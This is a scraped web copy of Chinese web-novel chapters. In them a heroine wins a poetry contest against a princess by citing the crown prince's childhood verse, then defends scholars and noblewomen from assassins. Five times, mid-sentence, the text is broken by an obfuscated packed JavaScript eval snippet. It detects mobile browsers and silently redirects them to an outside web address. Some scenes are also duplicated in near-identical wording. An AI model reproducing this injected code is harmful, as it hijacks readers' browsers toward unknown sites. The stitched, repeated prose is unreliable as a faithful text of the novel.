侍女们开始布置“书”的比试,铺纸研墨,忙碌不停,空气中弥漫着淡淡的墨香。 就在这时,茅清兮却突然开口了,打破了这紧张的气氛: “公主殿下才华横溢,琴棋书画样样精通,我等皆自愧不如,甘拜下风。想来在‘书’之一道上,更是无人能出其右,这还用比吗?” 安宁公主愣住了,她完全没想到茅清兮会主动认输,这完全出乎她的意料。 她原本还计划着,要在书法上,好好地让茅清兮出丑,杀杀她的锐气。 茅清兮的那笔字……她可是亲眼见过的。 安宁公主对茅清兮的了解,还停留在几年前。 那时的茅清兮,因为字写得太难看,没少被她嘲笑,为此还偷偷哭过鼻子。 她爹茅文昭,更是对茅清兮的字深恶痛绝,曾放出狠话,不许她在外人面前写字。 至于把茅清兮关进祠堂抄佛经,以求长进之类的流言,也是传得有鼻子有眼。 想到这里,安宁公主又有了主意,今天一定要让茅清兮出个大丑! 她眼珠一转,故意用激将法,声音里带着一丝玩味: “臧夫人前两场的表现,着实令人惊艳,让人刮目相看,本公主还真是期待这最后一场呢!说不定,臧夫人又能给我们一个惊喜呢?毕竟,您可是连燕世子都能‘拿下’的奇女子。” “书法和绘画一样,都不是我所擅长的,” 茅清兮一脸诚恳,仿佛真的是技不如人,看不出丝毫破绽。 她话锋一转,语气中带着一丝提议: “不过,单单比试书法,未免太过单调,也难以展现公主殿下的全部才华,让大家尽兴。不如这样,咱们换一种比试方式。今日良辰美景,大家又都是才女,不如将这最后一局,改为飞花令,以诗会友,可好?” 安宁公主听了,先是一愣,有些不敢相信自己的耳朵, 继而,心中涌起一阵狂喜,像是捡到了什么宝贝。 她瞪大了眼睛,看着茅清兮,眼神中闪过一丝狡黠。 生怕茅清兮反悔,她连忙点头,语气急切: “好!本公主没有异议!就依臧夫人所言!这个主意甚好!” 比书法? 那太便宜茅清兮了,也太没意思了! 她要的,不仅仅是赢, 她还要让茅清兮当众出丑,颜面扫地,让所有人都知道她是个草包! 让所有人都看看,茅清兮究竟有几斤几两,是不是真的像传闻中那样才华横溢! 飞花令,最考验一个人的才学功底,临场反应和诗词储备。 安宁公主做梦都没想到,茅清兮竟然会主动提出这种比试方式,这简直是自寻死路! 这简直是瞌睡了就有人送枕头!天助我也! 她仿佛已经看到,茅清兮绞尽脑汁,却一句诗也说不出来的窘迫模样,那一定比猴戏还精彩。 她暗自冷笑,这一次,定要让茅清兮输得心服口服,让她知道,谁才是真正的才女! 马静郡主在一旁看得暗暗着急, 茅清兮既然敢主动提出飞花令, 又怎会没有准备?这其中一定有诈! 可眼下,安宁公主已经被胜利冲昏了头脑,被虚荣蒙蔽了双眼, 根本听不进任何劝告,一门心思只想看茅清兮出丑。 更何况,在安宁公主看来,没有人比她更了解茅清兮。 茅清兮有几分本事,肚子里有几滴墨水,她一清二楚。 参加最后一轮比试的贵女们陆续落座,一个个摩拳擦掌,跃跃欲试。 河对岸的书生们都沸腾了, 这是最后一场比试,也是最关键的一场, “京城第一才女”的名号,即将在他们的见证下产生,花落谁家,犹未可知。 所有人都屏息凝神,等待着这场比试的开始,大气都不敢出。 前几轮比试过后,贵女们面前的花篮里,桃花数量已经有了明显的差别。 原本,安宁公主的花篮里桃花最多,几乎要溢出来,石芷凝次之, 但因为第二轮茅清兮那首惊艳四座的《战魂诗篇》, 茅清兮的花篮,后来居上,跃居第三,紧追石芷凝。 如今石芷凝不在,胜负的天平,似乎又向安宁公主倾斜了一些。 学子们的心思,也开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565578|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活络起来,最后一票,投给谁,可得好好斟酌。 安宁公主环视一周,缓缓开口,声音里带着一丝得意,还有一丝迫不及待: “既然臧夫人都这么说了,本小姐要全力以赴了,这第一句,就由本公主开始吧,拔个头筹。” 众人纷纷点头,表示赞同,没有异议。 这种场合,没人会去抢这头彩,也没人敢抢安宁公主的风头。 飞花令正式开始,第一轮以“花”字为题。 贵女们一个个才思敏捷,诗句信手拈来,像是提前排练过一般。 这种飞花令,她们平日里也没少玩,闺阁之中,以此为乐。 若没点真才实学,也不敢来争这“第一才女”的名头,更不敢在这么多人面前献丑。 让众人惊讶的是,第一轮,茅清兮居然对答如流,没有丝毫的迟疑,像是早就成竹在胸。 不过,开局环节确实太简单了, 就算茅清兮能跟上,也不足为奇,更不能说明什么。 第二轮,题目换成了“秋”和“月”, 而且还加了**燕的限制,难度陡然提升,这可不是闹着玩的。 更让人意想不到的是, 在这种情况下,茅清兮竟然还是对答如流,没有丝毫的停顿,仿佛这些诗句就刻在她的脑海里。 时间一点点过去,气氛越来越紧张, 第四轮,韩柔面露难色,额头上渗出了细密的汗珠,无奈退出了比试, 第五轮,康雨芸心有不甘,却也只得黯然离场, 到了第六轮,场上只剩下安宁公主和茅清兮两人,针尖对麦芒。 安宁公主的脸色变得有些难看,像是被人当头泼了一盆冷水, 她怎么也没想到,茅清兮竟然能坚持到现在,这简直是不可思议! 无论她出什么题目,茅清兮都能对答如流, 这让她一开始的优势荡然无存,甚至感到了巨大的压力。 她甚至开始怀疑,茅清兮是不是真的有什么隐藏的实力,扮猪吃老虎。 半刻钟的时间,悄然而逝,对于安宁公主而言,却像是过了一个世纪那么漫长。 安宁公主的心态有些失衡,她感觉自己像是被架在火上烤, 她绞尽脑汁,才勉强接上了茅清兮的前一句,已经是满头大汗。 第三百一十六章 茅清兮在她紧张又期待的目光中,缓缓开口,念出了一句诗,每一个字都像是敲击在安宁公主的心上。 安宁公主一听,立刻察觉到不对劲,这诗句她从未听过! 她猛地站起身来,大声说道,声音尖锐得像是一只被踩了尾巴的猫: “这句诗不对!我从未听说过这句诗!古往今来,没有哪位圣贤写过这样的诗句!宋……臧夫人,这……这是你自己写的?你莫不是在胡诌?” 她死死地盯着茅清兮,仿佛抓住了她的把柄,像是猎人盯上了猎物, 嘴角忍不住扬起一抹得意的笑容,眼神中充满了得意和嘲讽: “这诗句,实在是……平平无奇,毫无出彩之处!简直是不知所云!你可不能随便诌一句,就想蒙混过关!当我们都是傻子不成?” “啊?” 茅清兮故作惊讶地睁大了眼睛, 嘴角却微微上扬,勾起一个微妙的弧度,像是在嘲笑安宁公主的无知: “这句诗不好吗?可我觉得,这句诗写得极好呢,意境深远。”“好?好在哪里?” 安宁公主杏眼圆睁,声调陡然拔高的同时,纤细的手指紧紧攥住锦帕,指节因为用力而微微泛白。 她才不信茅清兮真能吟出什么绝妙好诗! 这女人,定是强撑着脸面,胡乱诌了一句来敷衍! 现场汇聚的俊杰们,哪一个不是饱读诗书,眼高于顶? 诗句是好是坏,还轮不到她茅清兮说了算! 果然,茅清兮话音刚落,便有不少学子窃窃私语,更有甚者,直接毫不掩饰地嗤笑出声。 “臧夫人怕是想不出佳句,要认输了吧?” “就这水平,也敢妄称才女?简直贻笑大方!” “依我看,还不如我家刚开蒙的孩童随口胡诌的呢……” “嘘,小声些,没见人家臧夫人还硬撑着呢嘛……” 一声声或嘲讽或鄙夷的议论传入安宁公主耳中,她心中的得意更甚。 只需再加一把火,茅清兮必将颜面扫地,再无翻身之地! 她故作惊讶地掩唇轻笑,目光挑衅地看向茅清兮,语气中带着几分幸灾乐祸: “臧夫人,您这诗……可真是‘别具一格’,让人‘耳目一新’啊!” 安宁公主故意加重了语气,眼底尽是嘲讽之意。 她倒要看看,这茅清兮还能如何狡辩! 谁知,茅清兮不仅没有丝毫慌乱,反而微微侧过头,目光平静地扫过不远处的钱云霄。 钱云霄被她这一眼看得心里咯噔一下,俊脸上的神情瞬间变得极为复杂。 想笑,又不敢笑得太明显;想发怒,又不知该如何发作。 他身旁的宁王和贤王交换了一个眼神,皆是一副想看好戏的模样。 茅清兮却像没看到几人之间的暗流涌动,只是无辜地眨了眨眼,疑惑道: “难道这诗不好么?可臣妇听闻,这可是太子殿下十岁时的‘佳作’,当年还被先帝夸赞过呢。” 茅清兮故意顿了顿,才慢悠悠说: “是了,这句诗的出处颇为冷僻,公主殿下没听过也是有的。” 她这话一出,在场众人瞬间石化。 太子十岁时的“佳作”? 还是被先帝亲口夸赞过的? 这……这怎么可能! 不少人下意识地看向钱云霄,想从他那里得到答案。 只见钱云霄面色铁青,嘴唇紧抿,却迟迟没有开口。 安宁公主心中一沉。 她猛地转过身,死死盯着钱云霄,眼中满是不敢置信。 “太子殿下,这……这究竟是怎么回事?这诗真是您……” 没等安宁公主说完,钱云霄便深吸一口气,艰难地开口: “这诗,的确是孤年幼时所作……” 语气中,听不出喜怒。 钱云霄此刻的心情,简直比吞了苍蝇还难受。 原本,他是想借着安宁公主的手,让茅清兮出丑。 谁知,这蠢女人竟搬起石头砸了自己的脚! 若只有他一人知道这诗的出处,他大可以矢口否认。 可偏偏,宁王和贤王都是当年之事的见证者,他根本无从抵赖! 此时此刻,钱云霄真想把安宁公主的嘴给缝上! 他这话一出口,无疑是承认了这诗的来历。 方才那些出言嘲讽的学子们,一个个吓得面无人色,大气都不敢出。 完了,全完了! 他们为了讨好安宁公主,竟把太子殿下给得罪了! 这下可好,别说飞黄腾达了,能保住小命就不错了! 几名先前叫嚣得最欢的学子,更是吓得双腿发软,险些瘫倒在地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16565579|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们之所以敢当着冀容白的面针对茅清兮,皆因事先收了安宁公主的银子。本想着攀附权贵,谁料想竟是引火烧身。 事到如今,他们也只能寄希望于安宁公主,能在太子面前替他们求情,或许还能有一线生机…… 宁王见钱云霄吃瘪,心中暗喜,面上却不动声色。 他轻咳一声,故作惊讶地开口: “这诗……本王竟从未听闻。不知臧夫人是如何得知的?” 宁王将问题抛给茅清兮,想看看她如何应对。 茅清兮微微一笑,从容答道: “回宁王殿下,臣妇也只是偶然在一本古籍残卷上,看到过关于这首诗的只言片语。那残卷中提到,先帝曾在安州躬耕,并作诗以记其事。臣妇一时好奇,便多留心了几分。” 她故意将“古籍残卷”和“只言片语”几个字咬得很轻,听起来像是随口一提,并不十分在意。 宁王听了,却是不信。 什么古籍残卷? 他博览群书,怎么从未听说过有这等记载? 分明是这茅清兮信口胡诌! 不过,能看到钱云霄和安宁公主吃瘪,宁王也懒得拆穿她。 毕竟,一个上不得台面的太子侧妃,还不值得他大动干戈。 “看来,这一局的胜负,已经很清楚了。” 宁王轻描淡写地一句话,便将此事揭过。 安宁公主这才似月初醒。 她为了挑茅清兮的错处,竟忘了接下一句诗! 此时此刻,她只觉脑中一片空白,如坠冰窟。 输了? 她居然输给了茅清兮? 这简直比杀了她还难受! 她猛地抬起头,看向对面的钱云霄,眼中满是绝望与不甘。 却见钱云霄眼中一闪而过的厌恶,如同一把尖刀,狠狠刺入了她的心脏。 那一刻,安宁公主只觉浑身的力气都被抽空,如同一具被抽走了灵魂的木偶,颓然跌坐在椅子上。 她机关算尽,到头来,竟是为他人做了嫁衣! 不甘,愤怒,**……种种情绪交织在一起,几乎要将她吞噬。 安宁公主死死咬住嘴唇,直到尝到一丝血腥味,才勉强找回一丝理智。 不行,她不能就这样认输! 她还有机会,她一定要赢! 第三百一十七章 可当她的目光触及到茅清兮那双平静如水的眼眸时,所有的挣扎与不甘,都化作了无力。 茅清兮静静地回望着她,那双清澈的眼眸中,没有丝毫得意,也没有半分怜悯,只有一种洞悉一切的淡然。 仿佛在她眼中,击败安宁公主,只是一件微不足道的小事,根本不值一提。 安宁公主紧紧攥住手心,指甲深深嵌入掌心,传来一阵阵刺痛。 她可以输给任何人,但唯独不能输给茅清兮! 她强压下心底翻涌的**与不甘,竭力维持着表面的平静。 宁王见状,微微一笑,开口道: “今天的较量成绩揭晓了,臧夫人技压群芳,稳坐京都才女榜首宝座。诸位,可有异议?” 贤王含笑点头应和: “臧夫人之才,我等有目共睹,自然心服口服。” 钱云霄微微颔首,没有说话。 在场的学子们,虽然对这结果感到意外,但细想之下,却也觉得合情合理。 毕竟,从第一场比试开始,茅清兮便展现出了远超常人的才学与气度,一次又一次地刷新了他们的认知。 此刻,再回首望去,只见茅清兮依旧静静地坐在那里,不骄不躁,不卑不亢。 她那沉静的眼神,挺直的脊背,如同一株傲雪寒梅,在风霜中独自绽放,深深地印在了在场每一个人的心中。 “呵。” 冀容白低低地笑了一声,那笑声中,似有骄傲,似有欣慰。 他缓缓起身,走到茅清兮面前,将最后一支象征着胜利的桃花,轻轻放入了她面前的花篮之中。 有学子见状,立刻高声恭维道: “苏将军能征善战,在战场上击退西魏敌军,保家卫国;臧夫人亦是巾帼不让须眉,在诗会上力压西魏公主,扬我大晋国威!” 其余学子闻言,也纷纷反应过来,争先恐后地将手中的桃花,投入茅清兮的花篮。 这一次,他们没有再出言嘲讽,只是默默地将手中的桃花,献给这位才华横溢,令人敬佩的女子。 一时间,茅清兮面前的花篮,被各色桃花堆得满满当当,几乎要溢出来。 冀容白看着眼前这如山般的花束,唇角微微勾起,眸光温柔似水,深情地望向对面的茅清兮。 茅清兮亦抬眸,回以他一个浅浅的微笑。 正当她准备起身,结束这场闹剧之时,异变陡生! “嗖——” 一支冷箭,挟裹着凌厉的杀气,划破长空,如闪电般朝她疾射而来! 茅清兮只觉耳边一阵尖锐的呼啸,紧接着,便是一阵火辣辣的刺痛。 她下意识地抬手,摸了摸耳朵,指尖一片濡湿,竟是殷红的鲜血。 身后,传来冀容白骤然变色的惊呼。 “小心!” “有刺客!” 茅清兮反应极快,厉声喝道。 “有刺客!抓刺客!” 学子们被这突如其来的变故吓得魂飞魄散,惊恐万状,四处奔逃。 原本井然有序的别庄,瞬间乱作一团。尖叫声、呼喊声、兵器碰撞声,交织成一片嘈杂的声浪,几乎要将人的耳膜震破。 太子与两位王爷身边,立刻围满了侍卫,将他们护在中央。 冀容白身形如电,几个起落间,便已掠至茅清兮身后。 他足尖在溪面上轻轻一点,借力跃起,稳稳地落在茅清兮身侧。 他紧绷的神经,在看清茅清兮并无大碍后,这才稍稍放松下来。 两人背靠着背,警惕地环视四周,随时准备应对突发状况。“嗖——” 箭矢破风,撕裂空气,尖锐得仿佛鬼哭。 这声音,像一根细针,狠狠扎进茅清兮的耳膜。 紧接着,耳边一阵火辣辣的剧痛。 她抬手一摸,黏腻的血,瞬间染红指尖。 “小心身后!” 冀容白的声音,几乎被淹没在突如其来的喧嚣中。 茅清兮甚至来不及思考,身体已经先一步做出了反应。 “护驾!有刺客!” 她用尽全身力气,声嘶力竭地喊道。 话音未落,别庄内已然乱作一团。 原本还算雅致的聚会,顷刻间变成了人间炼狱。 惊恐的尖叫、绝望的哭喊、兵刃相交的脆响……交织成一片令人心悸的噪音。 太子和两位王爷身边,侍卫们迅速围拢,用身体筑起一道防线。 冀容白几个起落,挡在了茅清兮身前。 两人交换了一个眼神,无需言语,便已明白彼此的心意。 黑衣刺客,如同闻到血腥味的鲨鱼,从四面八方涌来。 人数之多,令人头皮发麻。 别庄内,那些平日里吟诗作对的学子、娇生惯养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574000|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女眷,此刻如同无头苍蝇般四处乱窜。 即使太子、宁王和贤王身边都有侍卫保护,但人数毕竟有限。 谁又能想到,在这光天化日、朗朗乾坤之下,竟有人敢在贤王的别庄内行刺? 但细想之下,却又并不奇怪。 一旦太子出事,大晋朝局必将动荡…… 这对某些人来说,或许正是千载难逢的机会。 茅清兮以为,刺客的目标会是太子或者两位王爷。 然而,当那些黑衣人不管不顾地朝她扑来时,她才意识到,自己才是那个众矢之的。 这些刺客的目标,竟然是她! 那毫不掩饰的杀意,仿佛要将她生吞活剥! 大部分刺客都直奔茅清兮而来,只有少数人去追杀其他人。 “还能撑住吗?” 冀容白的声音从前方传来,带着一丝不易察觉的担忧。 茅清兮咬紧牙关,将涌到喉头的腥甜咽了回去,斩钉截铁地回道:“死不了!” 她知道,俞霜和富峻守在别庄外。 这么多刺客能越过他们杀进来,他们的情况,恐怕不容乐观。 “呛啷!” 三寒霜出鞘,剑身在阳光下闪过一道寒芒。 茅清兮深吸一口气,体内真气流转,手中长剑,快如闪电,密如骤雨。 她将所有朝她袭来的暗器,一一格挡开。 一名刺客被冀容白击退,踉跄着撞向茅清兮。 冀容白眼疾手快,一把夺过那刺客手中的长刀,反手一掷! “噗嗤!” 长刀精准地没入另一名正欲偷袭茅清兮的刺客后心。 然而,这只是开始。 暗处,不断有冷箭射出。 那些隐藏在屋檐、假山、树丛后的弓箭手,才是最大的威胁。 “我去引开那些暗箭,你小心!” 冀容白的声音,低沉而冷静。 茅清兮甚至来不及回答,只觉眼前一花,冀容白已经消失在原地。 他如同一阵风,贴着假山,几个起落便消失了踪影,显然是去对付那些暗处的敌人了。 茅清兮不敢分心,她知道,自己必须撑住。 十几个黑衣人,将她团团围住。 这些人的身手,明显是经过严格训练的。 他们的剑,又快又狠,招招直指要害。 第三百一十八章 茅清兮不敢有丝毫大意,她全神贯注,将体内真气催动到极致。 三寒霜在她手中,仿佛活了过来,化作一道道银色的闪电,与那些黑衣人缠斗在一起。 但这些黑衣人的实力,也着实不容小觑。 他们的剑,好几次都险些划破茅清兮的衣衫。 若非她反应够快,此刻恐怕早已血溅当场。 汗水,顺着她的额头滑落,浸湿了鬓角的碎发。 她感觉自己的体力,正在一点点流逝。 可即便如此,茅清兮也没有丝毫退缩。 这些黑衣人久攻不下,渐渐变得焦躁起来。 他们似乎接到了什么指令,忽然放弃了与茅清兮的缠斗,转而扑向那些手无寸铁的学子和女眷。 这些学子,是大晋的未来。 若是他们都死在这里,对大晋来说,将是巨大的打击。 一种莫名的危机感,如同一张无形的大网,将茅清兮笼罩其中。 她隐约觉得,这背后隐藏着一个巨大的阴谋。 而自己,正是这个阴谋的中心。 她必须阻止这些刺客,不能让他们得逞。 否则,一旦这些学子出事,这场刺杀的真相,迟早会被揭露出来。 “不准过去!” 茅清兮厉喝一声,声音沙哑,却带着一股不容置疑的威严。 她身形一闪,拦在了一名正要对学子下手的黑衣人面前。 手中长剑,毫不留情地刺出! “噗嗤!” 剑尖,精准地刺穿了那黑衣人的咽喉。 鲜血,喷涌而出。 那名学子,吓得一屁股坐在地上,脸色惨白如纸。 茅清兮顾不上安慰他,反手将他拎起来,扔到了一旁的侍卫群中。 “躲好!别出来添乱!” 她语气严厉,带着几分恨铁不成钢的意味。 这些文弱书生,平日里或许能引经据典,高谈阔论。 可真到了生死关头,却连自保的能力都没有。 “太子殿下**了!” 不远处,传来侍卫惊恐的呼喊声。 茅清兮心中一沉,但她并没有回头。 她知道,这些人的目标是自己。 至于太子…… 她甚至怀疑,这幕后主使,会不会就是太子本人,或者是……孔谋? 冀容白解决了暗处的威胁,迅速赶回茅清兮身边。 他发现,茅清兮身后,竟然跟着几个瑟瑟发抖的学子。 他们躲在假山后面,一个个脸色惨白,显然是被吓坏了。 而茅清兮,则像一堵墙一样,挡在他们面前。 她脸色铁青,浑身散发着一股令人胆寒的杀气。 那些学子,显然是把茅清兮当成了唯一的救命稻草。 这无形中,增加了茅清兮的负担。 她不仅要对付眼前的刺客,还要分心保护身后的这些人。 冀容白见状,没有多说,只是默默地加入了战斗。 除了保护学子,他还顺手救下了几个被吓得四处乱窜的女眷。 每一次,他都是救下人就走,看都不多看一眼。 茅清兮感觉自己的体力,已经透支到了极限。 她握剑的手,开始微微颤抖。 耳边,那些贵女们的哭声,一声接着一声,吵得她心烦意乱。 “都给我闭嘴!想活命就安静点!” 茅清兮再也忍不住,怒吼一声。 那些贵女们,被她这一嗓子吓得,顿时噤若寒蝉。 她们一个个捂着嘴,再也不敢发出半点声音。 其中,康雨芸紧紧咬着嘴唇,眼中满是恐惧。 她的两个丫鬟,为了保护她,已经死在了刺客的刀下。 若不是茅清兮及时出手,她此刻,恐怕也已经香消玉殒了。 茅清兮紧紧握着剑,她知道,自己不能倒下。 为了防止长剑脱手,她撕下一块衣襟,将三寒霜和自己的手腕,紧紧地绑在一起。 她,一步也不会退。 直到许多年后,这些历经生死劫难的文臣们,仍对那一幕记忆犹新。 他们忘不了,在那混乱的杀戮中,一个看似柔弱的身影,如同一座山,挡在了他们面前。 她以血肉之躯,为他们筑起了一道希望的屏障。 他们不知道她是谁,但他们知道,只要有她在,就有生的希望。 她手中的剑,就是斩断黑暗的利刃,带给他们光明和勇气。“都闭嘴!” 一声炸雷,劈开了人群的尖叫。 茅清兮的怒吼,让那些惊慌失措的贵女们瞬间噤声。 一个个捂着嘴,眼珠子瞪得溜圆,仿佛见了鬼。 康雨芸死死咬着下唇,嘴唇泛白,眼泪在眼眶里打转。 为了护她周全,两个贴身丫鬟已经倒在血泊里。 若不是茅清兮及时赶到…… 她不敢想。 茅清兮死死攥着“三寒霜”,指节泛白。 她不能倒下。 为了防止长剑脱手,她咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574001|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着牙,“刺啦”一声从衣摆撕下一块布条,将剑柄和手腕紧紧绑在一起。 她在心里告诉自己: 绝不后退! 许多年后,那些从这场杀戮中逃出生天的人们,依旧对这一幕刻骨铭心。 混乱,血腥…… 一个看似柔弱的女子,如同一座不可撼动的山,挡在他们面前。 用她的血肉之躯,筑起一道生的屏障。 他们中许多人,甚至不知道她的名字。 但他们知道,只要这个女人在,他们就还有活下去的希望。 她手中的剑,是斩断黑暗的唯一利刃。 黑衣刺客的攻势,渐渐缓了下来。 太子府的护卫姗姗来迟。 黑衣刺客们眼见情况不妙, 人群中,骤然响起一声尖锐的哨声。 刺客们如潮水般退去。 冀容白快步走到茅清兮身边,伸手扶住她微微颤抖的手臂。 二人懒得追赶。 方才的交手,他们已经清楚,这些人的轻功,不是他们能追得上的。 茅清兮的内力,几乎见底。 再追下去,恐怕会把自己搭进去。 冀容白扫了一眼挤在假山后,如同受惊鹌鹑般的学子和女眷, 俯身,将茅清兮打横抱起。 茅清兮全身的力气,仿佛被抽空了一般。 紧绷的弦,骤然松弛。 她顺势将头靠在冀容白肩上, “昏”了过去。 这戏,总得有人配合着演完。 “明……苏将军……” 一个年轻学子,脸色苍白,嘴唇哆嗦着, 鼓足了勇气,才喊出声来: “臧夫人她……伤势如何?” 冀容白停下脚步,回过头。 那些学子,平日里摇头晃脑,之乎者也, 此刻,一个个脸上却写满了担忧和……愧疚。 他微微垂眸,声音低沉, “伤势极重,怕是……凶多吉少。” 此言一出, 学子们脸色更白了, 有几个甚至开始低声啜泣。 他们紧紧盯着冀容白怀里的茅清兮, 想上前,却又不敢。 方才的生死关头,他们手无缚鸡之力, 只能眼睁睁看着这个女子, 用自己的身体,为他们挡下刀剑。 平日里挂在嘴边的“仁义礼智信”, 此刻,却显得如此苍白无力。 第三百一十九章 冀容白冷眼看着这些人的反应。 他就是要让他们记住, 他们这条命, 是谁给的! 马车内, 茅清兮缓缓睁开眼。 “如何?” 冀容白递给她一杯水,淡淡地问。 “还死不了。” 茅清兮接过水,一饮而尽, “不过,俞霜伤得不轻,富峻……” “他去追那些人了,应该很快会有消息。” 冀容白打断她, “你先歇着,剩下的事,交给我。” 茅清兮点点头,靠在软垫上,闭目养神。 她需要时间, 来理清思绪。 没过多久, 青羽暗卫悄无声息地出现在马车外。 “禀主子,贤王伤重,性命垂危;太子受了些轻伤,已无大碍;宁王安然无恙。” 顿了顿,又补充道: “西魏的马静郡主,毫发无损;安宁公主……伤势颇重,太医正在全力救治。” 茅清兮猛地睁开眼, “孝宁也受伤了?” “是。” 青羽暗卫的声音,没有任何起伏。 “下去吧。” 冀容白挥了挥手。 “这事……你怎么看?” 茅清兮看向冀容白, “孝宁受伤……这出戏,可就更乱了。” “乱才好。” 冀容白冷笑一声, “水越浑,才越好摸鱼。” “我总觉得……” 茅清兮眉头紧锁, “这背后之人,不仅仅是想嫁祸于我……” “我知道。” 冀容白眼中闪过一丝寒芒, “他们的目标,从来都不是你。” “那是……” “是我。” 冀容白的声音,很轻,很淡, 却带着不容置疑的肯定。 “他们真正想对付的,是我。” “可你……” 茅清兮欲言又止。 “我知道你想说什么。” 冀容白打断她, “圣心在我,这是所有人都知道的事实。 可即便如此, 他们还是想通过这场刺杀,来达到某种目的……” “什么目的?” 茅清兮追问。 “或许……是想试探。” 冀容白缓缓说道, “试探圣上的底线,试探我的能力……也试探……” 他顿了顿, “青鸾阁的态度。” 茅清兮心中一凛。 “你是说……这次的事,跟青鸾阁有关?” “那些人的剑法,你再熟悉不过。” 冀容白提醒她。 “可青鸾阁已经闭阁多年……” “闭阁,不代表不存在。” 冀容白看着她, “而且,你别忘了,你是青鸾阁阁主的外孙女。” 茅清兮沉默了。 是啊, 她差点忘了,自己还有这层身份。 如果这场刺杀, 真的是冲着冀容白来的, 那么,她这个“青鸾阁阁主的外孙女”, 就成了最好的替罪羊。 “娘子,别想了。” 冀容白伸手,轻轻抚平她眉间的褶皱, “你现在,最重要的,是养好身体。” “回府后,还得请太医来,给你好好‘诊治’一番。” 他故意加重了“诊治”二字的语气。 茅清兮知道,他是在提醒自己, 这出戏,还没完。 她必须继续“重伤”下去。 一股难以言喻的疲惫,席卷而来。 她闭上眼, 身体,仿佛陷入了无尽的黑暗……“废物!” 一声厉喝,带着压抑不住的怒火,让跪了一地的黑衣人愈发低垂了头颅。 四周,一片死寂。 只有粗重的呼吸声,昭示着他们还活着。 任务失败的耻辱,如跗骨之蛆,啃噬着他们的自尊。 “茅清兮,她不仅没死,拯救了一大批人……” 高座上的女子,声音里仿佛淬了冰碴。 “经此一事,她的名声更盛,再想对她动手……” 女子咬紧了牙关, “难如登天!” “主子,可玄机图还在茅清兮手里……” 一个黑衣人鼓起勇气,低声说道。 话未说完, 女子锐利的目光如刀子般剜了过来。 那黑衣人浑身一颤, 立刻噤声。 良久。 女子胸口剧烈起伏几下, 缓缓平复了情绪。 她的容貌,普通到没有任何记忆点。 扔进人堆里, 瞬间就会被淹没。 唯有那双眼睛, 沉静得, 像幽深的古井。 “玄机图……” 元霄的声音很轻, 却带着不容置疑的寒意。 “我清楚她掌控着这个。但她一日不主动现宝,我等便如无头苍蝇,处处受制。” 她顿了顿, 指节缓缓敲击着桌面。 “如今这般被动挨打,倒不如主动出击……” 元霄眼中闪过一丝决绝, “直接送她归西!” 她疲惫地揉了揉太阳穴, “算了,也是她命大,冀容白那条疯狗又处处护着她… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582267|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 元霄忽然抬眸,眸中精光闪烁, “对了,玄月门和冀容白的关系,可有进展?” “回主子,” 黑衣人摇了摇头, “属下无能。这次玄月门突然发难,我等才知晓,他们竟听命于冀容白。” “冀容白……” 元霄轻轻吐出这三个字, 眼中忌惮之色更浓。 “谁能想到,他竟有这般能耐?明明是个半死不活的病秧子……” “明面上有圣上亲卫鹰羽卫,暗地里,竟还藏着玄月门这等势力……” 元霄深吸一口气, 语气中带着一丝烦躁。 “不到万不得已,我不想招惹他。可他若非要挡我的路,插手青鸾阁的事,我便只能……” 她猛地攥紧了拳头,指节发白。 “主子多虑了,青鸾阁的内务,外人无权干涉,这是祖宗定下的规矩。” 